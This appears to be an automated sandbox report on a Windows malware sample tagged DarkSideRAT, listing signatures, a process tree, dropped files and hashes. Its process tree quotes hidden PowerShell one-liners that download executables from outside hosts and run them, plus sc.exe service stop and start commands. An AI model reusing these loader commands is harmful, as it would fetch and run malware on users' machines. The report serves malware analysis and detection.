Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 09:47

General

  • Target
    2026-08-08_b3679cd2b434f509ea7705bff2610891_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
  • Size 640KB
  • Sample260808-lses9sdj3t
  • SHA256 6eef4054d597c0a5b93f110363f760aa98e5679ee61cdfeb57aeee5f63056322
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Stops running service(s) 4 TTPs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-08_b3679cd2b434f509ea7705bff2610891_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-08_b3679cd2b434f509ea7705bff2610891_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1216
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=TyKkiiu2OVvH' -OutFile $env:TEMP\BK288187.exe; Start-Process -FilePath $env:TEMP\BK288187.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3744
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=TyKkiiu2OVvH' -OutFile $env:TEMP\BK288187.exe; Start-Process -FilePath $env:TEMP\BK288187.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=TyKkiiu2OVvH' -OutFile $env:TEMP\BK288187.exe; Start-Process -FilePath $env:TEMP\BK288187.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4080
          • C:\Users\Admin\AppData\Local\Temp\BK288187.exe
            "C:\Users\Admin\AppData\Local\Temp\BK288187.exe"
            5⤵
            • Executes dropped EXE
            PID:2072
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=q0TJl098mvwy' -OutFile $env:TEMP\BK392779.exe; Start-Process -FilePath $env:TEMP\BK392779.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2436
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=q0TJl098mvwy' -OutFile $env:TEMP\BK392779.exe; Start-Process -FilePath $env:TEMP\BK392779.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5384
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=q0TJl098mvwy' -OutFile $env:TEMP\BK392779.exe; Start-Process -FilePath $env:TEMP\BK392779.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4872
          • C:\Users\Admin\AppData\Local\Temp\BK392779.exe
            "C:\Users\Admin\AppData\Local\Temp\BK392779.exe"
            5⤵
            • Executes dropped EXE
            PID:4784
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start vgk >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5916
      • C:\Windows\system32\sc.exe
        sc start vgk
        3⤵
        • Launches sc.exe
        PID:3000
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop vgc >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3316
      • C:\Windows\system32\sc.exe
        sc stop vgc
        3⤵
        • Launches sc.exe
        PID:1744
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start vgc >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1020
      • C:\Windows\system32\sc.exe
        sc start vgc
        3⤵
        • Launches sc.exe
        PID:1128

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 9524425668120ccf9d31b182e6482cf9955d243f2082fdc3143e3e7af3b86fa7
        • MD5 SHA1 SHA512 TLSH

        BK288187.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK288187.exe
        • Size 277KB
        • SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        BK392779.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK392779.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4080-42-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4080-31-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-17-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-19-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-14-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-15-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-16-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-3-0x00007FFD0856F000-0x00007FFD08570000-memory.dmp

        memory/4872-18-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-13-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-12-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-30-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-29-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-11-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-10-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-7-0x00007FFD083E0000-0x00007FFD08D84000-memory.dmp

        memory/4872-6-0x000001383C3D0000-0x000001383C3F2000-memory.dmp